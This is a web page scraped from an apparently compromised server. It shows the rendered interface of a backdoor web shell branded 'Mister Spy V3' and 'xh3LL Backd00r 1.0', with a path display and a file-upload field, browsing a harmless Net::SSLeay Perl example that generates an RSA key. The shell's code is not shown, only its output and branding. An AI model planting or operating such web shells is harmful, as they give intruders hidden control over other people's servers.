Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/share/doc/perl-Net-SSLeay/examples/
Upload File :
Current File : //usr/share/doc/perl-Net-SSLeay/examples/ephemeral.pl

#!/usr/bin/perl -w
# ephemeral.pl mikem@open.com.au
#
# Test and demonstrate setting ephemeral RSA key

use Net::SSLeay qw(die_now);

Net::SSLeay::randomize();
Net::SSLeay::load_error_strings();
Net::SSLeay::ERR_load_crypto_strings();
Net::SSLeay::SSLeay_add_ssl_algorithms();

$ctx = Net::SSLeay::CTX_new() 
    or die_now("Failed to create SSL_CTX $!");

$rsa = &Net::SSLeay::RSA_generate_key(512, 0x10001); # 0x10001 = RSA_F4

die_now("Failed to set ephemeral RSA key $!")
    if (&Net::SSLeay::CTX_set_tmp_rsa($ctx, $rsa) < 0);

print "OK\n";
exit;

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat